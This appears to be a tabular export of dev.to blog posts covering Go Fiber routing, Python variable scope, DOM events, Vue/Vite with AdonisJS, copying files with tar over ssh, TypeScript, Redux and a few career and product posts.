id
int64
5
1.93M
title
stringlengths
0
128
description
stringlengths
0
25.5k
collection_id
int64
0
28.1k
published_timestamp
timestamp[s]
canonical_url
stringlengths
14
581
tag_list
stringlengths
0
120
body_markdown
stringlengths
0
716k
user_username
stringlengths
2
30
1,358,677
AI Adaptable Resumes
I’m thinking about an idea that's stuck in my head, something I really want to build, the brand, the...
0
2023-02-08T19:59:52
https://dev.to/adam_cyclones/starting-to-project-to-ai-our-resumes-hen
ai, discuss
I’m thinking about an idea that's stuck in my head, something I really want to build, the brand, the product all of it! ## The pitch > "Discover the power of personalized resumes with NAME - the innovative platform that uses cutting-edge AI technology to create customized and adaptable resumes. No more generic, one-size-fits-all CVs - with NAME, you can showcase your skills and experience in the most effective and impactful way, giving you the best chance of landing your dream job. Say goodbye to ordinary resumes and hello to a world of opportunity with NAME" I have a name idea too. So what do you think - could it be a viable product?
adam_cyclones
1,358,693
Go and Fiber GET always get invoked first?
Hello. I am a newbie when it comes to GO and web development so let me start by apologizing for...
0
2023-02-08T20:57:29
https://dev.to/kartracer73/go-and-fiber-get-always-get-invoked-first-n2i
go, fiber, get
Hello. I am a newbie when it comes to GO and web development so let me start by apologizing for asking stupid questions. I am trying to teach myself GO using the Fiber framework along with PostgreSQL. I came across a post that showed me a simple example of using GO with PostgreSQL. Here's post that I found https://blog.logrocket.com/building-simple-app-go-postgresql/ . I am trying to follow the steps outlined in the post and working through it step by step but came across a situation where I'm a bit puzzled. It would appear that "app.Get" in the post always gets invoked first. It does not matter if the app.Post is written before app.Get, the handler attached to the app.Get is always invoked first. I was wondering why that is? Is there something in the code that is causing that to happen? I'm sure there is a very simple explanation for this but I just can't see it. Again, sorry for the stupid questions. Thank you in advance for your help. Here's the code I've have taken from the post. When I run this, the output always displays the handler attached to the app.Get. package main import ( "fmt" "log" "os" "github.com/gofiber/fiber/v2" ) func indexHandler(c *fiber.Ctx) error { return c.SendString("Hello Index") } func postHandler(c *fiber.Ctx) error { return c.SendString("Hello Post") } func putHandler(c *fiber.Ctx) error { return c.SendString("Hello Put") } func deleteHandler(c *fiber.Ctx) error { return c.SendString("Hello Delete") } func main() { app := fiber.New() app.Get("/", indexHandler) // Add this app.Post("/", postHandler) // Add this app.Put("/update", putHandler) // Add this app.Delete("/delete", deleteHandler) // Add this port := os.Getenv("PORT") if port == "" { port = "3030" } log.Fatalln(app.Listen(fmt.Sprintf(":%v", port))) }
kartracer73
1,358,714
Responsive Sidebar Menu in HTML CSS & JavaScript | Dark/Light Mode #html #css #javascript #sidebar
A responsive sidebar menu is a navigation component that is displayed on the side of a web page and...
0
2023-02-08T21:44:31
https://dev.to/webmonster/responsive-sidebar-menu-in-html-css-javascript-darklight-modehtml-css-javascript-sidebar-362l
A responsive sidebar menu is a navigation component that is displayed on the side of a web page and helps users access different sections of a website. In this article, we will discuss what a responsive sidebar menu is and how it can benefit a website. What is a Responsive Sidebar Menu? A responsive sidebar menu is a menu that is displayed on the side of a web page and can be expanded and collapsed on different devices. The menu adjusts its size and appearance based on the size of the device's screen, making it easily accessible on both desktop and mobile devices. Benefits of a Responsive Sidebar Menu Improved User Experience: A responsive sidebar menu provides a better user experience by making it easy for users to access different sections of a website. The menu is easily accessible and provides quick access to different parts of the website, improving navigation and making it easier for users to find what they are looking for. Increased Engagement: A well-designed and functional sidebar menu can improve user engagement by making it easier for users to find and access the content they are interested in. This can lead to increased page views, longer session times, and a higher rate of user satisfaction. Better Branding: A responsive sidebar menu can contribute to the overall branding of a website. A professional and user-friendly design can help build trust and credibility with users, making them more likely to return to the site. Improved Accessibility: A responsive sidebar menu can improve accessibility by making it easier for users with disabilities to navigate the site. The menu adjusts its size and appearance based on the size of the device's screen, making it easier for users to access and interact with the content. In conclusion, a responsive sidebar menu is an important component of a website that can provide many benefits, including improved user experience, increased engagement, better branding, and improved accessibility. Implementing a responsive sidebar menu can help ensure that your website is accessible and usable on a wide range of devices and screen sizes. This is The Link My Channel To Know How To Create A Responsive SideBar Menu : https://youtu.be/QQni50OBNpU ![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7ogot5gj0sn0oadq2lg9.jpg)
webmonster
1,358,722
Python's variable scope that every beginner needs to know to progress
Starting out as a newbie in programming learning python, variable scope seemed to be the trickiest of...
0
2023-02-08T22:08:02
https://dev.to/griffin_code/pythons-variable-scope-that-every-beginners-need-to-know-to-progress-46ja
python, programming, beginners, tutorial
Starting out as a newbie in programming learning python, variable scope seemed to be the trickiest of them bunch at the time, but are probably the simplest and easiest concept to get Hence it is essential to understand the levels of scope in python and how things can be accessed from all the different scopes. Well, lets just jump right into it. Scope refers to the area of the program where a variable or function is accessible, let's try this analogy here by going back to when you were 10 years of age, imagine you and your friends are playing with some toys in the room and Each of you has a box with your own toys, and you can only use the toys in your own box. That's like a scope in programming generally, In python there are different types of scopes, Each scope is like a box or container with its own variables and rules. Variables and functions defined in one scope can only be used within that particular scope, and not in other scopes. This helps keep the code organized and prevents mistakes. There are generally 4 types of scopes in python: - **Local scope**: They refer to the variable declared in the function alone. In the below code the **var** variable is only accessible to the code within the **main_function** function. Anything outside of this function will not be accessible. ``` def main_function(): var = 1 print(var) # prints the value 1 main_function() # Returns the value of function main which is 1 print(var) # Returns an error because it is outside the function ``` - **Enclosed scope**: Refers to the variables and functions that are defined within a function that is inside another function. In the code below, I added a nested function called **inner_function** to the **outer_function** function. As **inner_function** is inside the scope for the **outer_function** function it can then access the variable. However, the enclosed variable inside the **inner_function** function cannot be accessed from inside the **outer_function** function. ``` def outer_function(x): #enclosed variable declared inside a function y = 10 def inner_function(z): return x + y + z return inner_function result = outer_function(5) print(result(6)) ``` - **Global scope**: Its when a variable is declared outside of a function. This means it can be accessed from anywhere. In the code below, ``` x = 10 # x is a global variable def multiply_by_2(): return x * 2 print(multiply_by_2()) # Output: 20 ``` In this example, the variable x is defined in the global scope and can be accessed from within the function multiply_by_2(). The function returns x * 2, which is 20 in this case. - **Built-in scope**: Refers to the reserved keywords that Python uses for its built-in functions, also defined in the core Python language and are available for use without importing any module or library, such as `print, def, for, in,` and so forth. Functions with built-in scope can be accessed at any level within the code.
griffin_code
1,358,922
Software Engineering Entrepreneurship » Issue 4 » Our tech. stack of choice
Recap Software Engineering Entrepreneurship » Issue...
22,021
2023-02-09T04:25:55
https://dev.to/morganw/software-engineering-entrepreneurship-issue-4-our-tech-stack-of-choice-3ado
productivity, architecture, startup, career
## Recap {% embed https://dev.to/morganw/software-engineering-entrepreneurship-issue-3-investing-in-cloud-technology-1l26 %} > Technology can be your greatest ally or your greatest threat. ... > Serious about your dream to start a company? Don't rush it. --- ## Cutting edge vs. familiar tech. stacks Let's go through an exercise. One decision you could make for your startup is adopting serverless technology (e.g. Cloud Functions). There are cost, performance and time saving benefits. Yet, nearly everything you can achieve serverless can still be done in traditional, hosted applications that you're likely used to. So the question is, do you spend your time learning a whole new technology or stick to what you're good at? For this series we're going to go with the answer of: **For writing applications, stick to what you know. For your infrastructure however, choose a leading Cloud Service Provider.** At time of writing that is a top 3 of AWS, Microsoft Azure or GCP. These providers, combined with other edge technologies (DNS, API gateways, etc.) are constantly evolving and have steep learning curves. The payoff of having a resilient, scalable system that promotes fail-fast business is entirely what this series will focus on. **Tip:** If you're working on excelling in your day job in parallel, consider going with a provider that will make you more valuable to that team as well. **Disclaimer:** The learning curve for a cloud provider giant is steep. Give yourself and your team several months to learn the technology and build a sample app if it is your first go at it. --- ## Our tech. stack for the rest of this series Below is the tech. stack we will piece together throughout this series along with a pricing estimate for each. ![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uqzxyxqqlfbx6xwg5adk.png) ### Edge / DNS provider **Service:** Cloudflare **Products:** Tunnel, Advanced Certificate Manager **Price:** $10.00 USD / month ### API gateway **Service:** Kong **Products:** Routing, Authentication, Dev Portal **Price:** $0 - $250 / month ### Cloud Service Provider **Service:** Google Cloud Platform **Products:** IAM, Cloud SQL, Artifact Registry, Kubernetes Engine **Price:** Usage based ### Version Control System **Service:** Gitlab **Products:** Version control **Price:** Free ### CI/CD **Service:** Gitlab **Products:** Gitlab CI, Advanced VCS **Price:** $228 USD / year ### Containerization **Service:** Docker **Products:** Images, Containers, Compose **Price:** Free ### Development **Language:** Go **Editor:** GoLand **Editor price:** $150 - $250 USD / year **Free alternative:** VS Code **Context:** APIs **Language:** JavaScript, Node.js **Editor:** VS Code **Editor price:** Free **Context:** Web apps, mobile apps ### Total cost estimate ~$348 USD / year + usage based fees (GCP) The figure above is assuming we use the most probable plan for all the mentioned services and excludes paid editors. While starting out there's a good chance the free plan for Kong will suffice. Nonetheless it's best to be prepared for the paid tiers and explore competitors as generally business will lead you in that direction as requirements or limitations arise. ### A note on saving costs You can find substitute services or choose not to use some services. This depends on the problems you're concerned about solving and your budget. For example, manually implementing authentication, rate limiting, etc. and dodging the API gateway - Or managing your own SSL certificates and dodging Cloudflare's Total TLS. I would only caution that these services exist for your ultimate convenience, security and beyond. The more you choose to do on your own, the less you can focus on the innovative ideas and development that will allow you to grow. --- ## Continue reading {% embed https://dev.to/morganw/software-engineering-entrepreneurship-issue-5-up-and-running-with-google-cloud-2o9c %} --- #### Sources https://www.c-sharpcorner.com/article/top-10-cloud-service-providers/
morganw
1,358,925
[WATCH] A Smart Home Concept created with skills you already know
The great thing about design systems is the limitless possibilities on where and how it can be...
0
2023-02-09T01:48:21
https://dev.to/jared201/watch-a-smart-home-concept-created-with-skills-you-already-know-2pom
javascript, vue, raspberrypi, node
The great thing about design systems is the limitless possibilities on where and how it can be applied with skills developer already know or skills that are quick and easy to learn. [Smart Home Concept](https://youtu.be/bisthKoiwDY)
jared201
1,359,026
Deep dive into the browser events with mindmaps
This is a deep dive into DOM events. We will also discuss some common, but often misunderstood things about DOM events. Finally, we will understand how to create our own custom DOM events.
0
2023-03-21T18:04:59
https://dev.to/avinash8847/deep-dive-into-the-browser-events-with-mindmaps-4eel
javascript, dom, events, browser
--- title: Deep dive into the browser events with mindmaps published: true description: This is a deep dive into DOM events. We will also discuss some common, but often misunderstood things about DOM events. Finally, we will understand how to create our own custom DOM events. tags: #javascript #DOM #events #browser # cover_image: https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pu2cuxnmvlqsslrdz7pb.jpg # Use a ratio of 100:42 for best results. # published_at: 2023-02-09 03:55 +0000 --- This is an extensive exploration of the intricacies surrounding DOM events. First and foremost, we will delve into the various types of DOM events, examining each of their unique characteristics and how they are triggered. Additionally, we will take a closer look at some of the more commonly misunderstood aspects of DOM events, such as the propagation and bubbling of events. ## What is a browser event? Let's simply put it this way an event is an object which has the property that contains information about that particular event, such as on what element the event is triggered and many other information about that particular event. ![DOM event mindmap](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pscm0h9v6k4ion00a6pm.png) ## Events can be generalised into 2 categories - User-agent events - synthetic events User-agent events are dispatched by the browser based on user interactions or any other browser(page) task is completed. For example 1. The user clicks on the button 2. The user submits the form 3. All the resources have been downloaded. And may more, we can add a listener to the event in order to listen to the events ```jsx window.addEventlistner('load',(event)=>{console.log(event)); ``` ### Synthetic events ![Synthetic events](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ehko350m4rjh1jov6ir2.png) On the other hand, synthetic events are the events that are created/emitted by applications. For example ```jsx const event = new Event('myEvent', {bubbles:true, cancelable: true}); //dispatch events document.dispatchEvent(event); //events can be dispatched from any element document.getElementbyId('myDiv').dispatchEvent(event) ``` If we want to pass the data then we can use `CustomEvent()`. ```jsx const event = new CustomEvent('myCustomEvent', {detail: {message:'hello world'}); elem.addEventListner('myCustomEven', (event)=>{ console.log(event.detial.message) }) ``` The `isTrusted` is the property in the event object that is true for user-agent dispatched events and false for the applications(developers) initiated. ### Event phase ![Event Phase](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qw1vsewrt5jyz67ikiyb.png) When we further inspect the event object we also get a property name `eventPhase`. In order to understand this property let us first understand what is `CAPTURING_PHASE` and `BUBBLEING_PHASE`. When an event is dispatched it will occur in the event will reach to document(root) and then back to the target element(in the above diagram button). The flow from top to bottom is called **capturing phase** and the bottom to top is called the ********bubbling phase.******** let us take a step forward and understand the above diagram with code ```html <!DOCTYPE html> <html> <head> <title>Parcel Sandbox</title> <meta charset="UTF-8" /> </head> <body > <form id='submit_form' style="border:1px solid red; padding: 4rem"> <button type='submit' id='submit_button'>Submit<button> </div> </form> <script> function eventListener(event) { console.log({ target: event.target, currentTarget: event.currentTarget, phase: event.eventPhase, type: event.type }); } const form = document.getElementById("submit_form"); const buttonContainer = document.getElementById("button-wrapper"); const submit = document.getElementById("submit_button"); form.addEventListener("click", eventListener); buttonContainer.addEventListener("click", eventListener); submit.addEventListener("click", eventListener); </script> </body> </html> ``` This is a long example let's break it down. We have a simple form and later we are attaching some event listeners to it. The `addEventListner()` function takes 3 arguments - event name that the event listener should listen - a callback function that should be called. - And the last one is an **option** or **useCapture.** It is an optional argument. All the arguments are pretty much clear by the name the only argument that we care about is **option** and **useCapture.** The option has these parameters. - capture: The default value is false. The event will first be captured with the current element to which the event listener is attached (i.e element above in the DOM tree) and then later will be dispatched to any event target - once: The events should be invoked once and removed by default - passive: If true it tells the browser that the callback functions will not have the `preventDefault().` Even if the `preventDefault` is there in the callback function the browser will only throw and warning in the console. - signal: It's used for removing the event listener by providing the `AbortSignal`. We will talk about the abort signal later in this blog. ### Capturing and bubbling phase In the example above we have attached listeners at the document, body, form and button We run the above example the output will be like this ```jsx {target: button#submit_button, currentTarget: button#submit_button, phase: 2, type: 'click'} {target: button#submit_button, currentTarget: div#button-wrapper, phase: 3, type: 'click'} {target: button#submit_button, currentTarget: form#submit_form, phase: 3, type: 'click'} ``` To understand this we first need to look into the `Event` object. The user agent-generated event object mainly has these properties ![Event Object](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xke9n3ml9dwedelc601l.png) - `type`: The type is the type of event for e.g click, submit etc. You can read more about it [here](https://developer.mozilla.org/en-US/docs/Web/API/Event) - `eventTaget`: Returns the element on which the event occurred or null. - `currentTarget`: Returns the element which is listening to the event - `eventPhase`: This one is the interesting one. The event phase generally returns one of these values 0,1,2,3. What are these values? The event phase has these enums ```env NONE = 0 CAPTURING_PHASE = 1; AT_TARGET = 2; BUBBELING_PHASE = 3; ``` Let us understand each of these values one by one. In the above example context, the `<button />` element is wrapped by a `div`, which is further nested inside a `form`. So when the button has been clicked the `div` and `from` are in the capturing phase. But in the console, we don't see any `eventPhase` as 1 (i.e capturing) event listener is not being invoked. To invoke an event listener callback function in the capturing phase we need to specify `true` in the event listeners ```jsx document.body.addEventListener("click", eventListener, true); // or document.body.addEventListener("click", eventListener, { capture:true }); ``` ### Propagation Now that we have a solid understanding of the event phases. Let us further look into how to stop handlers from getting called. We have 2 methods for stopping the propagation of the event. - `event.stopPropagation()` and - `event.stopImmediatePropagation()` Assume we have multiple event handlers attached to an element. We have `stopHandler()` and `eventListenerLogs()` ```jsx <!DOCTYPE html> <html> <head> <title>Parcel Sandbox</title> <meta charset="UTF-8" /> </head> <body> <form id='submit_form' style="border:1px solid red; padding: 4rem"> <div id='button-wrapper' style="border:1px solid black; padding: 4rem""> <button type='button' id='submit_button'>Submit<button> </div> </form> <script> function stopHandler(event) { event.stopPropagation(); console.log({ target: event.target, element: event.currentTarget, phase: event.eventPhase, type: event.type }); } const form = document.getElementById("submit_form"); document.body.addEventListener("click", eventListener, false); form.addEventListener("click", stopHandler, false); form.addEventListener("click", eventListener, false); </script> </body> </html> ``` We have attached the event handler to `body`, and `form` element. When we click on the button the event occurs in `BUBBLEING_PHASE` and the order of event propagation should be supposed to be ![Propogation](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ae0ug6cmpfinwms78en0.png) But since we have `event.stopPropagation()`, at the form level. the console o/p is ```jsx {target: button#submit_button, element: form#submit_form, phase: 3, type: 'click'} {target: button#submit_button, element: form#submit_form, phase: 3, type: 'click'} ``` As we have to event handler attached to `form` element. What if we want to only listen to the event only once then we can use `event.stopImmediatePropagation()` ```jsx function stopHandler(event) { event.stopImmediatePropagation(); console.log({ target: event.target, element: event.currentTarget, phase: event.eventPhase, type: event.type }); } ``` Now the output is ```jsx {target: button#submit_button, element: form#submit_form, phase: 3, type: 'click'} ``` ### Cancelable A cancelable event’s read-only property returns `true` or `false` based on how the event was initialized. Most of the native events are cancelable using `event.preventDefault()` . Calling this function is like the event never happened. We can create a `syntheticEvent` and make it non-cancelable. ```jsx const myCoustomEvent = new CoustomEvent("my-coustom",{ cancelable:true }) document.addEventListener('my-event', function (event) { event.preventDefault() }) console.log( document.dispatchEvent(event) ? 'Event was not cancelled' : 'Event was cancelled' ) //output //"Event was cancelled" ``` If we change the `cancelable` property to false the output will be `Event was not cancelled` . ### PreventDefault `event.preventDefault()` will stop the native element action from happening. This means that the event will not work in the same way as if the event never happened. ### Conclusion. That concludes our discussion on events and how to create custom ones. We covered the various phases involved in triggering events and explored the cancelable event. Thank you for reading. Please let me know in the comments section if I missed anything.
avinash8847
1,359,286
Add Vue.js + Vite to an AdonisJS Application
AdonisJS is a Node.js backend framework. There's no frontend framework coming with it, everything is...
0
2023-02-13T08:59:25
https://techreads.pipoprods.org/add-vue-js-vite-to-an-adonisjs-application
webdev, adonisjs, vue, typescript
AdonisJS is a Node.js backend framework. There's no frontend framework coming with it, everything is rendered on the server side. This article will describe how to integrate Vue.js (and Vite) to an AdonisJS application. You should first [create a new project](https://docs.adonisjs.com/guides/installation#creating-a-new-project) with a "web" structure and no Webpack Encore integration: ``` CUSTOMIZE PROJECT ❯ Select the project structure · web ❯ Enter the project name · hello-world ❯ Setup eslint? (y/N) · false ❯ Configure webpack encore for compiling frontend assets? (y/N) · false ``` ## Add Vue.js & Vite dependencies & Configure Vite ```sh # if using npm npm install vue && npm install --dev vite @vitejs/plugin-vue # if using yarn yarn add vue && yarn add -D vite @vitejs/plugin-vue # if using pnpm pnpm install vue && pnpm install -D vite @vitejs/plugin-vue ``` Create Vite configuration at the root of your project (`vite.config.ts`): ```typescript import { defineConfig } from 'vite'; import vue from '@vitejs/plugin-vue'; import path from 'path'; // https://vitejs.dev/config/ export default defineConfig(({ command }) => { return { base: command === 'serve' ? '' : '/build/', publicDir: 'fake_dir_so_nothing_gets_copied', build: { manifest: true, outDir: 'public/build', rollupOptions: { input: 'resources/js/app.ts', }, }, plugins: [vue()], }; }); ``` ## Reconfigure app startup scripts You'll need a parallel script runner like `npm-run-all`: ```sh # if using npm npm install --dev npm-run-all # if using yarn yarn add -D npm-run-all # if using pnpm pnpm install -D npm-run-all ``` Then reconfigure your `npm dev` script this way (`package.json` excerpt): ```json { "scripts": { "dev": "run-p ace:serve vite:serve", "ace:serve": "node ace serve --watch", "vite:serve": "vite --host --port 3000", } } ``` At this point, the `npm dev` command starts both AdonisJS & Vite. But we lack the integration of both: how AdonisJS will instruct your browser that it should load assets generated by Vite? ## Integrate Vite into AdonisJS We'll create a `ViteProvider` class that will generate the contents to be included into AdonisJS pages: Paste this into `providers/ViteProvider.ts`: ```typescript import { ApplicationContract } from '@ioc:Adonis/Core/Application'; import Env from '@ioc:Adonis/Core/Env'; import { readFileSync } from 'fs'; export default class ViteProvider { public static needsApplication = true; constructor(protected app: ApplicationContract) {} public async boot() { const View = this.app.container.resolveBinding('Adonis/Core/View'); const served = () => { const port = Env.get('VITE_PORT', 3000); return ` <script type="module" src="http://localhost:${port}/@vite/client"></script> <script type="module" src="http://localhost:${port}/resources/vue/app.ts" ></script> `; }; const built = () => { const data = readFileSync('./public/build/manifest.json').toString(); const manifest = JSON.parse(data); return `<script type="module" src="/build/${manifest['resources/vue/app.ts']['file']}"></script>`; }; View.registerTag({ tagName: 'vite', seekable: false, block: false, compile(_, buffer) { buffer.outputRaw( Env.get('NODE_ENV') === 'development' ? served() : built(), ); }, }); } } ``` Register the provider into `.adonisrc.json` file (excerpt): ```json { "providers": [ "./providers/ViteProvider", ], } ``` Replace default view contents (`resources/views/welcome.edge`): ```html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <link rel="icon" type="image/png" href="/favicon.ico" /> @vite `` <title>AdonisJS + Vue.js + Vite</title> </head> <body> <div id="app"></div> </body> </html> ``` ## Create basic Vue.js application Create Vue.js application main entry point in `resources/vue/app.ts`: ```typescript import { createApp } from 'vue'; import App from './App.vue'; createApp(App).mount('#app'); ``` Create main component in `resources/vue/App.vue`: ```vue <template>Welcome to AdonisJS + Vue.js + Vite</template> <script lang="ts"> import { defineComponent } from 'vue'; export default defineComponent({ setup() {}, }); </script> ``` ## Adjust for production build We need to adjust build scripts as well (`package.json` excerpt): ```json { "scripts": { "build": "run-s vite:build ace:build", "ace:build": "node ace build --production", "vite:build": "vite build" }, } ``` Our application will be build through the `npm run build` command. This will fail because of the Vue.js code being processed by the TypeScript compiler. To circumvent this, we add the Vue.js app folder to the TypeScript exclude paths (`tsconfig.json` excerpt): ```json { "exclude": ["resources/vue/", "node_modules", "build"], } ``` ## Final thoughts This article gives the steps for a basic Vue.js integration into AdonisJS. The developer experience can be enhanced by integrating a few more libraries: - [Inertia](https://inertiajs.com/) - [Adonis Stardust](https://github.com/eidellev/adonis-stardust) - [Tailwind CSS](https://tailwindcss.com/)
pipoprods
1,359,395
Create a search domain in Amazon CloudSearch, upload a sample data and test the application
[40/100] #100DaysOfCloud Today, I Created a search domain with indexes of a movie list and then...
21,219
2023-02-09T10:52:08
https://dev.to/aaditunni/create-a-search-domain-in-amazon-cloudsearch-upload-a-sample-data-and-test-the-application-2gno
aws, cloud, awscommunity, 100daysofcloud
[40/100] #100DaysOfCloud Today, I Created a search domain with indexes of a movie list and then uploaded the movie list so that we can search the data from the list. Amazon CloudSearch is a managed service in the AWS Cloud that makes it simple and cost-effective to set up, manage, and scale a search solution for your website or application. Amazon CloudSearch supports 34 languages and popular search features such as highlighting, autocomplete, and geospatial search. With Amazon CloudSearch, you can quickly add rich search capabilities to your website or application. You don't need to become a search expert or worry about hardware provisioning, setup, and maintenance. With a few clicks in the AWS Management Console, you can create a search domain and upload the data that you want to make searchable, and Amazon CloudSearch will automatically provision the required resources and deploy a highly tuned search index. You can easily change your search parameters, fine tune search relevance, and apply new settings at any time. As your volume of data and traffic fluctuates, Amazon CloudSearch seamlessly scales to meet your needs. You can try do it by yourself by following the steps from the link below: [GitHub](https://github.com/aaditunni/100DaysOfCloud/blob/main/Journey/040/Readme.md)
aaditunni
1,359,421
Not keyword in if statement
if not (x == 1) Enter fullscreen mode Exit fullscreen mode if ! (x...
0
2023-02-09T11:32:00
https://dev.to/pooyaalamdari/not-keyword-in-if-statement-33oo
```rb if not (x == 1) ``` ```rb if ! (x == 1) ``` ```rb unless (x == 1) ```
pooyaalamdari
1,359,461
Copy Files Compressed with Tar via ssh from and to a Linux Server
Copying files from a development machine or a server to another one may take up a lot of time,...
0
2023-02-09T12:38:27
https://dev.to/fa11enangel/copy-files-compressed-with-tar-via-ssh-from-and-to-a-linux-server-3c2l
linux, ssh, tar, scp
Copying files from a development machine or a server to another one may take up a lot of time, resources and traffic which dependent on the task may be more or less a problem. There are common Linux/Unix tools like scp and rsync to do the job, but they may be a wrong choice dependent on the task like: - copy a lot of small files (like node_modules) are big like text files or images in uncompressed formats like BMP or TIFF - have special attributes set, which you want to transport over the wire (like permissions or user/group IDs set) - files with encoding in names, which should be just transferred with errors ## The most common Solution in both Directions These are the most common combination to copy files using tar to compress and ssh for transport (using pipes) which may be suitable for most solutions. Copy the folder data/ from current machine (development machine or current server) to remote server or system to folder /opt. The sever must support ssh and have tar installed, which is common for most Linux/Unix systems. ``` tar czf - data/ | ssh user@remoteserver "cd /opt && tar -xvzf - " ``` Copy the folder data/ in /opt to current machine (development machine or current server) from remote server or system. The server must support ssh and have tar installed, which is common for most Linux/Unix systems. ``` ssh user@remoteserver "cd /opt && tar -cfz data/" | tar xfzv ``` ## Deeper understanding If you want to get a deeper understanding what all the parameters do, where to use them and which one you may need for which task, check the full article on my site: [qameta.com](https://qameta.com/posts/copy-files-compressed-with-tar-via-ssh-to-a-linux-server/).
fa11enangel
1,359,590
Hey Developers, on-site jobs are also good :P
I am a technical recruiter &amp; the more I am trying to convince Developers for on-site jobs they...
0
2023-02-10T07:22:18
https://dev.to/mimorecruiter/hey-developers-on-site-jobs-are-also-good-p-49jf
frontend, ios, android
I am a technical recruiter & the more I am trying to convince Developers for on-site jobs they are like WHAT IS THAT !!! Yes I know remote & freelancing jobs are now available for creative guys & developers but you guys should not turn down our offer for on-site please !! We are trying hard to give you an office environment where can be as comfortable as you feel at your home :) Right now I am hiring Front-end, Java, Android & iOS Developers (for an Instant Messaging App) for an on-site job in Philippines. If anyone wants to try this opportunity please knock me. ![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nwtpqt80kh4haiquech6.jpg)
mimorecruiter
1,359,615
TypeScript: An Introduction to the Statically Typed Superset of JavaScript
🚀 TypeScript is a statically typed, object-oriented, and open-source programming language that is a...
0
2023-02-09T14:33:09
https://dev.to/matheusgomes062/typescript-an-introduction-to-the-statically-typed-superset-of-javascript-4hgo
typescript, javascript, webdev, programming
:rocket: **TypeScript** is a statically typed, object-oriented, and open-source programming language that is a superset of JavaScript. It was developed and maintained by Microsoft and has become one of the most popular programming languages in recent years. TypeScript was designed to enhance JavaScript's functionality and make it easier to write large and complex applications. ![gif of monkey coding](https://media.giphy.com/media/zOvBKUUEERdNm/giphy.gif) One of the key features of TypeScript is its static typing system. This means that when you write code in TypeScript, you declare the type of each variable, function, or object, making it easier to catch errors and prevent bugs. For example, you could specify that a particular variable is a number, a string, or an array, and TypeScript will enforce that type throughout the code. This makes the code more predictable and easier to understand, especially in large codebases. ![gif of bugs](https://media.giphy.com/media/hfBvI2Pq6zCYo/giphy.gif) Another key feature of TypeScript is its object-oriented programming (OOP) capabilities. TypeScript supports features like classes, interfaces, and inheritance, which make it easier to write organized, reusable code. This makes it a great choice for building complex applications, as you can define objects that encapsulate related data and behavior, and reuse them throughout your code. TypeScript also supports features like generics, which allow you to write reusable code that works with any data type, and decorators, which allow you to add additional behavior to your code at runtime. This makes it a versatile language that can be used for a wide range of applications, from small scripts to large-scale enterprise applications. In addition to its many features, TypeScript has a large and growing community of developers who contribute to the language, its libraries, and its development tools. There are also many resources available for learning TypeScript, including online tutorials, books, and video courses. ![gif of community](https://media.giphy.com/media/78E3Cv7kKD5XW/giphy.gif) TypeScript can be used with a variety of tools and frameworks, making it a great choice for developers who are already familiar with JavaScript and want to take their skills to the next level. For example, TypeScript can be used with React, Angular, and Vue, among other popular frameworks, making it a versatile and powerful language for building web applications. ![gif of internet browsing](https://media.giphy.com/media/eCwAEs05phtK/giphy.gif) In conclusion, TypeScript is a statically typed superset of JavaScript that provides many benefits over its dynamically typed parent language. Its static typing system makes it easier to catch errors and prevent bugs, while its OOP capabilities make it easier to write organized and reusable code. With its growing community, wide range of tools and frameworks, and versatile features, TypeScript is a great choice for developers who want to write high-quality and maintainable code. ![gif of computer god](https://media.giphy.com/media/vzO0Vc8b2VBLi/giphy.gif) Hope you like it and... See you next time! If you find this incredible, just know that this was made using chatGPT <3
matheusgomes062
1,362,679
State management And Redux
React state management is a process for managing the data that React components need in order to...
0
2023-02-12T11:35:30
https://dev.to/okwoligodwin/state-management-and-redux-4m4n
React state management is a process for managing the data that React components need in order to render themselves. This data is typically stored in the component's state object. When the state object changes, the component will re-render itself. React state management is basically half of a React app. People also ask What is state management in Redux? Do you need state management in React? Managing your data is very important in frontend applications for better performance and efficiency. If you want to make quick decisions in the project you need to know the data well. If you want to make an efficient app you need to design data well. Data is scattered everywhere without state management. **How to Manage State in React** React state management is basically half of a React app. It includes all the data. The other half is the presentation including the HTML, CSS, and formatting. State and state management is relied on by presentation part of the app. The only time a React app will re-rendered is when state changes. **What is Redux?** Redux is a pattern and library for managing and updating application state, using events called "actions". It serves as a centralized store for state that needs to be used across your entire application, with rules ensuring that the state can only be updated in a predictable fashion. **Why Should I Use Redux?** Redux helps you manage "global" state - state that is needed across many parts of your application. The patterns and tools provided by Redux make it easier to understand when, where, why, and how the state in your application is being updated, and how your application logic will behave when those changes occur. Redux guides you towards writing code that is predictable and testable, which helps give you confidence that your application will work as expected. **Redux Libraries and Tools** **React-Redux** Redux can integrate with any UI framework, and is most frequently used with React. React-Redux is our official package that lets your React components interact with a Redux store by reading pieces of state and dispatching actions to update the store. **Redux Toolkit** Redux Toolkit is our recommended approach for writing Redux logic. It contains packages and functions that we think are essential for building a Redux app. Redux Toolkit builds in our suggested best practices, simplifies most Redux tasks, prevents common mistakes, and makes it easier to write Redux applications. **Redux DevTools Extension** The Redux DevTools Extension shows a history of the changes to the state in your Redux store over time. This allows you to debug your applications effectively, including using powerful techniques like "time-travel debugging".
okwoligodwin
1,359,630
Montando um ambiente de desenvolvimento JavaScript no Windows com WSL.
Montando um ambiente de desenvolvimento JavaScript no Windows com WSL — parte 01 ...
0
2023-02-09T19:58:57
https://dev.to/henriquemsimoes/montando-um-ambiente-de-desenvolvimento-javascript-no-windows-com-wsl-110k
wls, windows, linux
